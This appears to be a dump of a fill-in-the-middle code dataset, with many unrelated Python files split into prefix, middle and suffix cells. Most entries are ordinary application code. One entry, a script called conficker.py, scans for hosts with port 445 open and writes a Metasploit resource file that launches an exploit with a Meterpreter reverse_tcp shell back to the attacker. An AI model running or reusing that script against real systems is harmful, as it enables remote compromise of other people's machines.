repo_name stringlengths 5 100 | path stringlengths 4 231 | language stringclasses 1
value | license stringclasses 15
values | size int64 6 947k | score float64 0 0.34 | prefix stringlengths 0 8.16k | middle stringlengths 3 512 | suffix stringlengths 0 8.17k |
|---|---|---|---|---|---|---|---|---|
EdisonAlgorithms/CodeForces | contest/845/B.py | Python | mit | 673 | 0.005944 | def solve():
s = map(int, raw_input())
n = len(s) / 2
ans = 6
for i in xrange(10):
for j in xrange(10):
for k in xrange(10):
for l in xrange(10):
for m in xrange(10):
for n in xrange(10):
if ... | continue
| cnt = 0
cnt += (s[0] != i) + (s[1] != j) + (s[2] != k)
cnt += (s[3] != l) + (s[4] != m) + (s[5] != n)
ans = min(ans, cnt)
print ans
if __name__ == "__main__":
solve() |
hatchery/Genepool2 | genes/systemsetup/commands.py | Python | mit | 143 | 0 | import subprocess
from | genes.mac.traits import only_o | sx
@only_osx
def systemsetup(*args):
subprocess.call(['systemsetup'] + list(args))
|
DarthMaulware/EquationGroupLeaks | Leak #5 - Lost In Translation/windows/Resources/Python/Core/Lib/xml/sax/saxutils.py | Python | unlicense | 9,225 | 0.000976 | # uncompyle6 version 2.9.10
# Python bytecode 2.7 (62211)
# Decompiled from: Python 3.6.0b2 (default, Oct 11 2016, 05:27:10)
# [GCC 6.2.0 20161005]
# Embedded file name: saxutils.py
"""A library of useful helper classes to the SAX classes, for the
convenience of application and driver writers.
"""
import os
import url... | me, attrs):
self._cont_handler.startElementNS(name, qname, attrs)
def endElementNS(self, name, qname):
self._cont_handler.endElementNS(name, qname)
def characters(s | elf, content):
self._cont_handler.characters(content)
def ignorableWhitespace(self, chars):
self._cont_handler.ignorableWhitespace(chars)
def processingInstruction(self, target, data):
self._cont_handler.processingInstruction(target, data)
def skippedEntity(self, name):
se... |
nash-x/hws | cinder/api/views/versions.py | Python | apache-2.0 | 2,868 | 0 | # Copyright 2010-2011 OpenStack Foundation
# All Rights Reserved.
#
# Licensed under the Apache License, Version 2.0 (the "License"); you may
# not use this file except in compliance with the License. You may obtain
# a copy of the License at
#
# http://www.apache.org/licenses/LICENSE-2.0
#
# Unless... | n['status'],
"updated": version['updated'],
"links": self._build_links(version), })
return dict(versions=version_objs)
def build_version(self, version):
reval = copy.deepcopy(version)
reval['links'].insert(0, {
"rel": "self",
"href": ... | rsion_data):
"""Generate a container of links that refer to the provided version."""
href = self.generate_href(version_data['id'])
links = [{'rel': 'self',
'href': href, }, ]
return links
def generate_href(self, version, path=None):
"""Create an url that ... |
dade22/HelloPython | samples/collections/ex_for_loops.py | Python | gpl-3.0 | 2,308 | 0.0013 | """
For loops iterate over lists
prints:
dog is a mammal
cat is a mammal
mouse is a mammal
"""
for animal in ["dog", "cat", "mouse"]:
# You can use format() to interpolate formatted strings
print("{} is a mammal".format(animal))
"""
"range(number)" returns an iterable of numbers
from zero to the gi... | indicated, the default value is 1.
prints:
4
6
"""
for i in range(4, 8, 2):
print(i)
"""
While loops go until a condition is no longer met.
prints:
0
1
2
3
"""
x = 0
while x < 4:
print(x)
x += 1 # Shorthand for x = x + 1
# Instead of try/finally to cleanup resources you can use a... | as f:
for line in f:
print(line)
# Python offers a fundamental abstraction called the Iterable.
# An iterable is an object that can be treated as a sequence.
# The object returned by the range function, is an iterable.
filled_dict = {"one": 1, "two": 2, "three": 3}
our_iterable = filled_dict.keys()
print(... |
fake-name/ReadableWebProxy | WebMirror/management/rss_parser_funcs/feed_parse_extractKaivustranslationsWordpressCom.py | Python | bsd-3-clause | 668 | 0.028443 | def extractKaivustranslationsWordpressCom(item):
'''
Parser for 'kaivustranslations.wordpress.com'
'''
vol, | chp, frag, postfix = extractVolChapterFragmentPostfix(item['title'])
if not (chp or vol) or "preview" in item['title'].lower():
return None
tagmap = [
('online game lewd fate', 'online game lewd fate', 'translated'),
('PRC', 'PRC', 'translated'),
('Loiter... | geWithType(item, name, vol, chp, frag=frag, postfix=postfix, tl_type=tl_type)
return False |
awwong1/CMPUT410-Project | dogenode/comments/admin.py | Python | gpl-3.0 | 130 | 0 | from djang | o.contrib import admin
from comments.models import Comment
# Register your models here.
admin.site.register | (Comment)
|
idaholab/raven | tests/framework/AnalyticModels/sudret_sobol_poly.py | Python | apache-2.0 | 1,356 | 0.008112 | # Copyright 2017 Battelle Energy Alliance, LLC
#
# Licensed under the Apache License, Version 2.0 (the "License");
# you may not use this file except in compliance with the License.
# You may obtain a copy of the License at
#
# http://www.apache.org/licenses/LICENSE-2.0
#
# Unless required by applicable law or agreed t... | under the License is distributed on an "AS IS" BASIS,
# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
# See the License for the specific language governing permissions and
# limitations under the License.
#***************************************
#* Simple analytic test ExternalModule *
#****... | test is used to compute the global sensitivities:
# The analytic solution for 5 input variables is:
# mean = 1.0, variance = 0.728
# S1 = S2 = S3 = 0.2747
# S12 = S23 = S31 = 0.0549
# S123 = 0.0110
#
# input variables are distributed as y ~ [0,1]
# from: Bruno Sudret, Global Sensitivity Analysis using Polynomial Chaos ... |
yusufb/file-manager | modules/__init__.py | Python | gpl-3.0 | 74 | 0.013514 | __all__ = ["list", "rename", "search", "create", "move", "copy", " | delete"] | |
Ssawa/Diamond | src/collectors/elasticsearch/test/testelasticsearch.py | Python | mit | 11,625 | 0.000086 | #!/usr/bin/python
# coding=utf-8
##########################################################################
from test import CollectorTestCase
from test import get_collector_config
from test import unittest
from mock import Mock
from mock import patch
from diamond.collector import Collector
from elasticsearch import... | ._all.search.fetch_time_in_millis': 6962,
'indices._all.search.fetch_total': 4084,
'indices._all.search.query_time_in_millis': 41211,
'indices._all.search.query_total': 4266,
'indices._all.store.throttle_time_in_millis': 0,
'indices.logstash-adm-syslog.indexe... | og.docs.deleted': 0,
'indices.logstash-adm-syslog.get.exists_time_in_millis': 0,
'indices.logstash-adm-syslog.get.exists_total': 0,
'indices.logstash-adm-syslog.get.missing_time_in_millis': 0,
'indices.logstash-adm-syslog.get.missing_total': 0,
'indices.logsta... |
lupyuen/RaspberryPiImage | usr/share/pyshared/ajenti/plugins/hosts/__init__.py | Python | apache-2.0 | 206 | 0 | from ajenti.api import *
from ajenti.plugins import *
info = P | luginInfo(
title='Hosts',
icon='sitemap',
dependencies=[
PluginDependency('main'),
],
)
def init( | ):
import main
|
koala-ai/tensorflow_nlp | nlp/chatbot/model.py | Python | apache-2.0 | 10,775 | 0.001409 | import copy
import numpy as np
import tensorflow as tf
from nlp.chatbot.dataset import data_utils
class S2SModel(object):
def __init__(self,
source_vocab_size,
target_vocab_size,
buckets,
size,
dropout,
num_layers,
... | name='decoder_input_{}'.format(i)
))
self.decoder_weights.append(tf.placeholder(
dtype,
shape=[None],
name | ='decoder_weight_{}'.format(i)
))
targets = [
self.decoder_inputs[i + 1] for i in range(buckets[-1][1])
]
if forward_only:
self.outputs, self.losses = tf.contrib.legacy_seq2seq.model_with_buckets(
self.encoder_inputs,
self.dec... |
ESS-LLP/frappe | frappe/utils/jinja.py | Python | mit | 6,657 | 0.029292 | # Copyright (c) 2015, Frappe Technologies Pvt. Ltd. and Contributors
# MIT License. See license.txt
from __future__ import unicode_literals
def get_jenv():
import frappe
if not getattr(frappe.local, 'jenv', None):
from jinja2 import Environment, DebugUndefined
# frappe will be loaded last, so app templates wil... | , 'form_dict', {}),
"local": frappe.local,
"get_hooks": frappe.get_hooks,
"get_meta": frappe.get_meta,
"get_doc": frappe.get_doc,
"get_list": frappe.get_list,
"get_all": frappe.get_all,
'get_system_settings': frappe.get_system_settings,
"utils": datautils,
"user": user,
"get_fullname": fra... | pe.local, "session", None) else "Guest",
"render_template": frappe.render_template,
'session': {
'user': user,
'csrf_token': frappe.local.session.data.csrf_token if getattr(frappe.local, "session", None) else ''
},
},
'style': {
'border_color': '#d1d8dd'
},
"autodoc": {
"get_version": get... |
myd7349/Ongoing-Study | python/cppimport/parameterization/iota_test.py | Python | lgpl-3.0 | 523 | 0.003824 | #! /usr/bin/env python3
# coding: utf-8
# 2017-01-14T19:25:30+08:00
import os |
import os.path
import shutil
import cppimportex
full_path = lambda f: os.path.join(os.path.dirname(__file__), f)
if __name__ == '__main__':
for i in range(3):
module_name = 'iota_{0}'.format(i)
cpp_path = full_path(module_name+'.cpp')
shutil.copy(full_path('iota.cpp'), cpp_path)
... | .imp(module_name, end=i, module_name=module_name)
print(m.iota())
os.remove(cpp_path)
|
albertmenglongli/ToolsLibrary | crontab/crontab_test.py | Python | gpl-3.0 | 4,471 | 0.007381 | from . crontab import *
def test():
''' Oncely'''
assert convert_to_crontabs_time_str(timezone_parser({'month_of_year': 3, 'day_of_month': 1, 'day_of_week': "*", 'hour': 11, 'minute': 34, 'year': 2016})) == ['34 23 29 2 *']
''' Daily'''
assert convert_to_crontabs_time_str(timezone_parser({'year': "*"... | _of_week': 2, 'hour': 13, 'minute': 34, 'year': "*"}, 18)) == ['34 7 * * 3']
assert convert_to_crontabs_time_str(timezone_parser({'month_of_year': "*", 'day_of_month': "*", 'day_of_week': 3, 'hour': 13, 'minute': 34, 'year': "*"}, 18)) == ['34 7 * * 4']
assert convert_to_crontabs_time_str(timezone_pa | rser({'month_of_year': "*", 'day_of_month': "*", 'day_of_week': 4, 'hour': 13, 'minute': 34, 'year': "*"}, 18)) == ['34 7 * * 5']
assert convert_to_crontabs_time_str(timezone_parser({'month_of_year': "*", 'day_of_month': "*", 'day_of_week': 5, 'hour': 13, 'minute': 34, 'year': "*"}, 18)) == ['34 7 * * 6']
asser... |
choderalab/yank | Yank/commands/analyze.py | Python | mit | 15,894 | 0.004341 | #!/usr/local/bin/env python
# =============================================================================================
# MODULE DOCSTRING
# =============================================================================================
"""
Analyze YANK output file.
"""
# =========================================... | ======================================================
def dispatch(args):
import os
import pickle
from .. import utils, analyze
utils.config_root_logger(args['--verbose'])
if args['report']:
if not args['--format']:
args['--format'] = '.ipynb'
elif args['--format'][... | # Ensure the last output is treated as a directory in all cases
os.makedirs(args['--output'], exist_ok=True)
base, last_item = os.path.split(args['--output'])
if last_item != '':
args['--output'] = os.path.join(base, last_item, '')
return dispatch_report(... |
uw-it-aca/uw-restclients | restclients/dao_implementation/mailman.py | Python | apache-2.0 | 1,495 | 0 | """
Contains Mailman DAO implementations.
"""
from django.conf import settings
from restclients.dao_implementation import get_timeout
from restclients.dao_implementation.live import get_con_pool, get_live_url
from restclients.dao_implementation.mock import get_mockdata_url
class File(object):
"""
The File DA... | ration:
RESTCLIENTS_MAILMAN_DAO_CLASS =\
'restclien | ts.dao_implementation.mailman.File'
"""
def getURL(self, url, headers):
return get_mockdata_url("mailman", "file", url, headers)
MAILMAN_MAX_POOL_SIZE = 10
class Live(object):
"""
This DAO provides real data. It requires further configuration, e.g.
RESTCLIENTS_MAILMAN_HOST=''
RESTCLI... |
onedata/oneclient | ct_run.py | Python | mit | 2,877 | 0.000695 | #!/usr/bin/env python
"""Runs integration tests."""
import argparse
import os
import platform
import sys
script_dir = os.path.dirname(os.path.realpath(__file__))
helpers_dir = os.path.join(script_dir, 'helpers')
docker_dir = os.path.join(helpers_dir, 'bamboos', 'docker')
sys.path.insert(0, docker_dir)
from environme... | s.release), 'test',
'integration')
test_dirs = map(lambda suite: os.path.join(base_test_dir, suite), args.suites)
if not test_dirs:
test_dirs = [base_test_dir]
command = '''
import os, subprocess, sys, stat, shutil
if {shed_privileges}:
os.environ['HOME'] = '/tmp'
docker_gid =... | os.chmod('/etc/resolv.conf', 0o666)
os.setgroups([docker_gid])
os.setregid({gid}, {gid})
os.setreuid({uid}, {uid})
if {gdb}:
command = ['gdb', 'python', '-silent', '-statistics', '-ex', """run -c "
import pytest
pytest.main({args} + ['{test_dirs}'])" """]
else:
command = ['py.test'] + {args} + ['{... |
sonnyhu/folly | folly/build/generate_format_tables.py | Python | apache-2.0 | 2,378 | 0.003364 | #!/usr/bin/env python
#
# Generate Format tables
import os
from optparse import OptionParser
OUTPUT_FILE = "FormatTables.cpp"
def generate_table(f, type_name, n | ame, map):
f.write("extern const {0} {1}[] = {{".format(type_name, name))
for i in range(0, 256):
if i % 2 == 0:
f.write("\n ")
f.write("{0}::{1}, ".format(type_name, map.get(chr(i), "INVALID")))
f.write("\n};\n\n")
def generate_conv_table(f, name, values) | :
values = list(values)
line = ''
for i, v in enumerate(values):
if i == 0:
f.write("extern const char {0}[{1}][{2}] = {{\n".format(
name, len(values), len(v)))
row = "{{{0}}}, ".format(", ".join("'{0}'".format(x) for x in v))
if len(line) + len(row) > 79:... |
facetothefate/contrail-controller | src/config/svc-monitor/svc_monitor/tests/test_snat_agent.py | Python | apache-2.0 | 18,990 | 0.000053 | import copy
import json
import mock
import unittest
import uuid
from cfgm_common.vnc_db import DBBase
from svc_monitor import config_db
from svc_monitor import instance_manager
from svc_monitor import snat_agent
from vnc_api.vnc_api import *
ROUTER_1 = {
'fq_name': ['default-domain', 'demo', 'router1'],
'par... | et_virtual_network()
left = si | _props.get_interface_list()[1].get_virtual_network()
return (si_obj.fq_name[-1].startswith(self._name) and
mode == self._mode and
left.startswith(self._left) and
right == self._right)
class LogicalRouterMatcher(object):
def __init__(self, si_name):
... |
ktok07b6/polyphony | tests/pipeline/for10.py | Python | mit | 406 | 0 | from | polyphony import testbench
from polyphony import pipelined
def pipe10(xs):
for i in pipelined(range(len(xs) - 1), ii=-1):
v = xs[i] + xs[i + 1]
v >>= 1
xs[i] = v
@testbench
def test():
data = [0, 16, 32, -16, -64]
pipe10(data)
assert 8 == data[0]
| assert 24 == data[1]
assert 8 == data[2]
assert -40 == data[3]
assert -64 == data[4]
test()
|
k3170makan/PyMLProjects | payloads/promethea.py | Python | mit | 4,704 | 0.03784 | #!/usr/bin/python
import numpy
from random import random
from keras.models import Sequential
from keras.layers import Dense
from keras.layers import Dropout
from keras.layers import LSTM
from keras.callbacks import ModelCheckpoint
from keras.utils import np_utils
from sys import argv
from sys import stdout
from sys imp... | chars she as trained on.
Args:
input_file (string) - list of payloads promethea was trained on (we might move over to a simpler
vocab reload mechanism perhaps since this is annoying)
Returns:
(x <list>) - x a hot encoding of the vocabulary holding initial character sequences
"""
def prep_data(self,d... | his SEQ_LEN an LSTM attribute rather than model level one
raw_text = open(data_filename).read()
self.chars = sorted(list(set(raw_text)))
self.n_chars = len(raw_text)
self.n_vocab = len(self.chars)
self.int_to_char = dict((i,c) for i,c in enumerate(self.chars))
self.char_to_int = dict((c,i) for i,c in e... |
anhstudios/swganh | data/scripts/templates/object/tangible/mission/quest_item/shared_jaleela_bindoo_q4_needed.py | Python | mit | 483 | 0.045549 | #### NOTICE: THIS FILE IS AUTOGENERATED
#### MODIFICATI | ONS MAY BE LOST IF DONE IMPROPERLY
## | ## PLEASE SEE THE ONLINE DOCUMENTATION FOR EXAMPLES
from swgpy.object import *
def create(kernel):
result = Tangible()
result.template = "object/tangible/mission/quest_item/shared_jaleela_bindoo_q4_needed.iff"
result.attribute_template_id = -1
result.stfName("loot_rori_n","jaleela_bindoo_q4_needed")
#### B... |
KHP-Informatics/sleepsight-analytics | HipDynamics/analysis.py | Python | apache-2.0 | 12,581 | 0.003975 | # -*- coding: utf-8 -*-
#!/usr/bin/python3
import datetime
from scipy import stats
from HipDynamics.staging import *
class Analysis:
def __init__(self, pref):
self.pref = pref
self.data = []
@property
def pref(self):
return self.__pref
@pref.setter
def pref(self, input):... | ble.m | etadataOfRetrievedIndexGroup, len(self.indexGroupData)))
return self.indexGroupData
def retrieveDataOfNextIndexGroupeFromMysql(self, idxs):
data = []
for idxGroup in idxs:
data.append(self.queryDataFromMysql(idxGroup))
return data
def queryDataFromMysql(self, idxs)... |
au9ustine/org.au9ustine.puzzles.pythonchallenge | pc/level_01.py | Python | mit | 399 | 0.015038 | import | string
def decrypt(cipher):
# cipher: string
old_elems = string.ascii_lowercase
new_elems = string.ascii_lowercase[2:] + string.ascii_lowercase[:2]
mappings = cipher.maketrans(old_elems, new_elems) # python2: string.maketrans(old_elems, new_elems)
return cipher.translate(mappings) # python2: strin... | p')
|
nodakai/watchman | runtests.py | Python | apache-2.0 | 18,169 | 0.000826 | #!/usr/bin/env python
# vim:ts=4:sw=4:et:
# no unicode literals
from __future__ import absolute_import, division, print_function
import argparse
import json
import math
import multiprocessing
import os
import os.path
import random
import shutil
import signal
import subprocess
import sys
import tempfile
import threadi... | e tests",
)
parser.add_argument(
"--debug-watchman",
action="store_true",
help="Pauses start up and prints out the PID for watchman server process."
+ "Forces concurrency to 1.",
)
parser.add_argument(
"--watchman-path", action="store", help="Specify the path to the watchman binary"
)
parser.add_... | nv to force win7 compatibility tests"
)
parser.add_argument(
"--retry-flaky",
action="store",
type=int,
default=2,
help="How many additional times to retry flaky tests.",
)
parser.add_argument(
"--testpilot-json",
action="store_true",
help="Output test results in Test Pilot JSON format... |
Ambuj-UF/ConCat-1.0 | src/Utils/Bio/Pathway/__init__.py | Python | gpl-2.0 | 10,961 | 0.00219 | # Copyright 2001 by Tarjei Mikkelsen. All rights reserved.
# This code is part of the Biopython distribution and governed by its
# license. Please see the LICENSE file that should have been included
# as part of this package.
"""BioPython Pathway module.
Bio.Pathway is a lightweight class library designed to suppor... | r intended use are as wrappers around database
specific records, such as BIND objects. The value-added in this module is a
framework for representing collections of reactions in a way that supports
graph theoretic and numeric analysis.
Note: This module should be rega | rded as a prototype only. API changes are likely.
Comments and feature requests are most welcome.
"""
import sys
# Add path to Bio
sys.path.append('../..')
from functools import reduce
from Bio.Pathway.Rep.MultiGraph import *
__docformat__ = "restructuredtext en"
class Reaction(object):
"""Abstraction fo... |
westurner/browenv | scripts/mtmprx/mtmprx_headers.py | Python | bsd-3-clause | 180 | 0.005556 |
def response(context, f | low):
flow.response.headers['X-Frame-Options'] = [""]
#flow.response.headers["X-Frame-Options"] = [" | "]
flow.response.headers['mtmprx'] = ['1']
|
obi-two/Rebelion | data/scripts/templates/object/building/military/shared_military_rebel_field_hospital.py | Python | mit | 485 | 0.045361 | ### | # NOTICE: THIS FILE IS AUTOGENERATED
#### MODIFICATIONS MAY BE LOST IF DONE IMPROPERLY
#### PLEASE SEE THE ONLINE DOCUMENTATION FOR EXAMPLES
from swgpy.object import *
def create(kernel):
result = Building()
result.template = "object/building/military/shared_military_rebel_field_hospital.iff"
result.attribute_te... | MODIFICATIONS ####
return result |
chromium/chromium | net/data/verify_certificate_chain_unittest/intermediate-signed-with-md5/generate-chains.py | Python | bsd-3-clause | 765 | 0.001307 | #!/usr/bin/env python
# Copyright (c) 2015 The Chromium Authors. All rights reserved.
# Use of this source code is gove | rned by a BSD-style license that can be
# found in the LICENSE file.
"""Certificate chain where the intermediate has a valid signature, however uses
MD5 in the signature algorithm."""
import sys
sys.path += ['../..']
import gencerts
# Self-signed root certificate.
root = gencerts.create_self_signed_root_certificate... | ntermediate.set_signature_hash('md5')
# Target certificate.
target = gencerts.create_end_entity_certificate('Target', intermediate)
chain = [target, intermediate, root]
gencerts.write_chain(__doc__, chain, 'chain.pem')
|
calvinleenyc/zulip | zerver/tests/test_alert_words.py | Python | apache-2.0 | 9,295 | 0.002367 | # -*- coding: utf-8 -*-
from __future__ import absolute_import
from __future__ import print_function
from zerver.lib.alert_words import (
add_user_alert_words,
alert_words_in_realm,
remove_user_alert_words,
user_alert_words,
)
from zerver.lib.test_helpers import (
get_user_profile_by_email,
mo... | and non-ascii words.
add_user_alert_words(user, self.interesting_alert_word_list)
words = user_alert_words(user)
self.assertEqual(words, self.interesting_alert_word_list)
def test_remove_word(self):
# type: () -> None
| """
Removing alert words works via remove_user_alert_words, even
for multi-word and non-ascii words.
"""
email = "cordelia@zulip.com"
user = get_user_profile_by_email(email)
add_user_alert_words(user, self.interesting_alert_word_list)
theoretical_remaining_al... |
gauribhoite/personfinder | env/google_appengine/google/appengine/ext/db/__init__.py | Python | apache-2.0 | 124,459 | 0.006163 | #!/usr/bin/env python
#
# Copyright 2007 Google Inc.
#
# Licensed under the Apache License, Version 2.0 (the "License");
# you may not use this file except in compliance with the License.
# You may obtain a copy of the License at
#
# http://www.apache.org/licenses/LICENSE-2.0
#
# Unless required by applicable law o... | eProperty enforces that you assign valid d | atetime
objects, and if you supply the "required" option for a property, you will not
be able to assign None to that property.
We also support references between models, so if a story has comments, you
would represent it like this:
class Comment(db.Model):
story = db.ReferenceProperty(Story)
body = db... |
sevmardi/University-of-Applied-Sciences-Leiden | Python/ifscp_Opdrachten/Opdracht3.py | Python | mit | 1,376 | 0.003634 | __author__ = 'Sevak Mardirosian'
import sys
from PyQt4 import QtGui, uic
class DialogDemo(QtGui.QWidget):
#----------------------------------------------------------------------
def __init__(self):
"""Constructor"""
# super(DialogDemo, self).__init__()
QtGui.QWidget.__init__(self)
... | t th | e buttons to the functions (signals to slots)
fileDialogBtn.clicked.connect(self.openFileDialog)
# layout widgets
layout = QtGui.QVBoxLayout()
layout.addWidget(self.label)
layout.addWidget(fileDialogBtn)
self.setLayout(layout)
# set the position and size of the wi... |
paramite/blazar | climate/db/migration/alembic_migrations/versions/0_1_initial.py | Python | apache-2.0 | 5,677 | 0.000705 | # Copyright 2014 OpenStack Foundation.
# Copyright 2014 Intel Corporation
# All Rights Reserved.
#
# Licensed under the Apache License, Version 2.0 (the "License"); you may
# not use this file except in compliance with the License. You may obtain
# a copy of the License at
#
# http://www.apache.org/lic... | 6), nullable=True),
sa.Column('reservation_id', sa.String(length=36), nullable=True),
sa.ForeignKeyConstraint(['compute_host_id'], ['computehosts.id'], ),
sa.ForeignKeyConstraint(['reservation_id'], ['reservations.id'], ),
sa.PrimaryKeyConstraint('id'))
op.create_table(
'com... | n('created_at', sa.DateTime(), nullable=True),
sa.Column('updated_at', sa.DateTime(), nullable=True),
_id_column(),
sa.Column('reservation_id', sa.String(length=36), nullable=True),
sa.Column('resource_properties', MediumText()),
sa.Column('count_range', sa.String(length=36)),
... |
sjklein92/senior-design | chimera/users/__init__.py | Python | mit | 1,620 | 0.005556 | import chimera.auth as auth
from chimera.auth import User
from flask import Blueprint, abort, redirect, render_template, request, flash, json, url_for
module = Blueprint('users', __name__, template_folder='templates')
def make_json(data, status=200, headers={}):
default_headers = {"Content-Type": "ap | plication/json"}
default_headers.update(headers)
return json.dumps(data), status, default_headers
@module.record_once
def on_load(state):
global config
config = state.app.config
@module.route('/')
@auth.permissio | n_required('users:index')
def index():
return render_template('index.html', users=User.all_ids())
@module.route('/', methods=['POST'])
@module.route('/new')
@auth.permission_required('users:create')
def create():
if request.method == 'POST':
return "TODO"
else:
return render_template('new.h... |
nikdoof/test-auth | app/eve_api/migrations/0011_add_skills_index.py | Python | bsd-3-clause | 12,560 | 0.00828 | # encoding: utf-8
import datetime
from south.db import db
from south.v2 import DataMigration
from django.db import models
class Migration(DataMigration):
def forwards(self, orm):
db.create_index('eve_api_eveplayercharacterskill', ['character_id', 'skill_id'], unique=True)
def backwards(self, orm):
... | b.models.fields.DateTimeField', [], {'null': 'True', 'blank': 'True'}),
'last_logoff': ('django.db.models.fields.DateTimeField', [], {'null': 'True', 'blank': 'True'}),
'name': ('django.db.models.fields.CharField', [], {'max_length': '255', 'blank': 'True'}),
'race': ('django.db.mode... | nyToManyField', [], {'symmetrical': 'False', 'to': "orm['eve_api.EVEPlayerCharacterRole']", 'null': 'True', 'blank': 'True'}),
'security_status': ('django.db.models.fields.FloatField', [], {'null': 'True', 'blank': 'True'}),
'skills': ('django.db.models.fields.related.ManyToManyField', [], {'to'... |
ninijay/pycurity | metasploit/conficker.py | Python | gpl-3.0 | 3,118 | 0.005131 | from __future__ import print_function
import os
import optparse
import sys
import nmap
def findTgts(subNet):
nmScan = nmap.PortScanner()
nmScan.scan(subNet, '445')
tgtHosts = []
for host in nmScan.all_hosts():
if nmScan[host].has_tcp(445):
state = nmScan[host]['tcp'][445]['state']
... | PAYLOAD windows/meterpreter/reverse_tcp\n')
configFile.write('set LPORT ' + str(lport) + '\n')
conf | igFile.write('set LHOST ' + lhost + '\n')
configFile.write('exploit -j -z\n')
def main():
configFile = open('meta.rc', 'w')
parser = optparse.OptionParser('[-] Usage%prog -H <RHOST[s]> -l <LHOST> [-p <LPORT> -F <Password File>]')
parser.add_option('-H', dest='tgtHost', type='string', help='specify t... |
subutai/nupic | tests/integration/nupic/algorithms/extensive_tm_test_base.py | Python | agpl-3.0 | 22,199 | 0.004234 | # ----------------------------------------------------------------------
# Numenta Platform for Intelligent Computing (NuPIC)
# Copyright (C) 2014, Numenta, Inc. Unless you have an agreement
# with Numenta, Inc., for a separate license for this software code, the
# following terms and conditions apply:
#
# This progra... | distributed in the hope that it will be useful,
# but WITHOUT ANY WARRANTY; without even the implied warranty of
# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.
# See the GNU Affero Pu | blic License for more details.
#
# You should have received a copy of the GNU Affero Public License
# along with this program. If not, see http://www.gnu.org/licenses.
#
# http://numenta.org/licenses/
# ----------------------------------------------------------------------
import numpy
import unittest
from abc import... |
n1ywb/wx | main.py | Python | gpl-3.0 | 6,787 | 0.005894 | #!/usr/bin/env python
"""
This program analyzes data from NOAA weather stations.
Copyright 2012 Jeff Laughlin Consulting LLC, All Rights Reserved.
This program is free software: you can redistribute it and/or modify
it under the terms of the GNU General Public License as published by
the Free Software Foundation, eit... |
CACHE_DIR = os.path.join(os.environ['HOME'], '.wx')
ROOT = 'http://www1.ncdc.noaa.gov/pub/data/gsod'
ISH_HISTORY = 'ish-history.txt'
StationHistory = namedtuple('StationHistory',
('usaf', 'wban | ', 'name', 'country', 'state', 'lat', 'lon', 'el', 'begin', 'end'))
def parse_history_line(line):
"""Parse a line of station history data and return a StationHistory object."""
try: usaf = int(line[0:6])
except ValueError: usaf = None
try: wban = int(line[7:12])
except ValueError: wban = None
... |
riseofthetigers/conceptnet | conceptnet/webapi/docs.py | Python | gpl-2.0 | 1,890 | 0.001587 | from conceptnet.models import *
from piston.handler import BaseHandler
from piston.doc import generate_doc
from conceptnet.webapi import handlers
from django.test.client import Client
from django.shortcuts import render_to_response
from django.template import RequestContext, Context, loader
from django.http import | HttpResponse
from docutils.core impor | t publish_string
API_BASE = 'http://openmind.media.mit.edu'
client = Client()
def documentation_view(request):
docs = []
for klass in handlers.__dict__.values():
if isinstance(klass, type) and issubclass(klass, BaseHandler):
doc = generate_doc(klass)
if doc.get_resource_uri_tem... |
AllYarnsAreBeautiful/knittingpattern | knittingpattern/Dumper/__init__.py | Python | lgpl-3.0 | 369 | 0 | """Writing objects to files
This module offers | a unified in | terface to serialize objects to strings
and save them to files.
"""
from .file import ContentDumper as ContentDumper
from .json import JSONDumper as JSONDumper
from .xml import XMLDumper as XMLDumper
from .svg import SVGDumper as SVGDumper
__all__ = ["ContentDumper", "JSONDumper", "XMLDumper", "SVGDumper"]
|
Southampton-Maritime-Robotics/autonomous-sailing-robot | src/boat_servo_sail/src/boat_servo_sail/servo_control.py | Python | bsd-2-clause | 195 | 0 | """
test PWM
| """
from bbio import *
from Servo import *
import time
servo1 = Servo(PWM1A)
servo2 = Servo(PWM2A)
servo1.write(90)
servo2.write(90)
time.sleep(2)
servo1.detach()
serv | o2.detach()
|
victor-gil-sepulveda/PhD-ANMPythonHelpers | anmichelpers/tools/tools.py | Python | mit | 3,490 | 0.012034 | """
Created on 9/2/2015
@author: victor
"""
import numpy
import math
import prody
try:
from pyproct.data.handler.sourceGenerator import SourceGenerator
from pyproct.data.handler.protein.proteinEnsembleDataLoader import ProteinEnsembleDataLoader
except:
print "[WARNING] pyProCT was not found. Some function... | ject and the list of sources (prody pdb structure -> data.structure_ensemble
source from pyproct so | urce -> s.source["source"] )
"""
class MockParams:
def __init__(self):
pass
def get_value(self,a,b):
return ""
sources = SourceGenerator(pdb_list).source_list
loader = ProteinEnsembleDataLoader(MockParams())
for source in sources:
loader.load(source)
... |
GroSte/feumgmt | base/migrations/0001_initial.py | Python | apache-2.0 | 8,391 | 0.005959 | # -*- coding: utf-8 -*-
# Generated by Django 1.9.7 on 2016-06-24 08:11
from __future__ import unicode_literals
from django.conf import settings
from django.db import migrations, models
import django.db.models.deletion
class Migration(migrations.Migration):
initial = True
dependencies = [
migration... | eation date')),
('last_update', models.DateTimeField(auto_now=True, null=True, verbose_name='Last update')),
('user', models.OneToOneField(on_delete=django.db.models.deletion.CASCADE, related_name='user', to=settings.AUTH_USER_MODEL)),
],
options={
... | _table': 'user',
'verbose_name': 'User',
'verbose_name_plural': 'Users',
'permissions': (('view_breathingprotectioncarrier', 'Can view breathing protection carriers'), ('change_breathingprotectioncarrier', 'Can change breathing protection carrier')),
},
... |
viatoriche/dynamite | setup.py | Python | mit | 1,130 | 0.002655 | import os
from distutils.core import setup
from setuptools import find_packages
__version__ = '0.8.2'
package = 'dynamite'
version = __version__
packages = find_packages()
def get_package_data(package):
"""
Return all files under the root package, that are not in a
package themselves.
"""
walk =... | ]
for base, filenames in walk:
filepaths.extend([os.path.join(base, filename)
for filename in filenames])
return {package: filepaths}
setup(
name=p | ackage,
version=version,
packages=packages,
package_data=get_package_data(package),
license='MIT',
author='viatoriche',
author_email='maxim@via-net.org',
description='Dynamite ORM',
url='https://github.com/viatoriche/dynamite',
download_url='https://github.com/viatoriche/dynamite/tar... |
IBM-Security/ibmsecurity | ibmsecurity/isam/aac/api_protection/grants.py | Python | apache-2.0 | 3,427 | 0.004961 | import logging
from ibmsecurity.utilities import tools
logger = logging.getLogger(__name__)
try:
basestring
except NameError:
basestring = (str, bytes)
def get(isamAppliance, state_id, check_mode=False, force=False):
"""
Get a grant
"""
return isamAppliance.invoke_get("Get a grant",
... | ate_id:
if isEnabled is None and attributes is None:
return True
else:
if ret_obj['data']['isEnabled'] != isEnabled:
return True
import ibmsecurity.utilities.tools
if ibmsecurity.utilities.tools.json_sort(
... | tributes']) != ibmsecurity.utilities.tools.json_sort(attributes):
return True
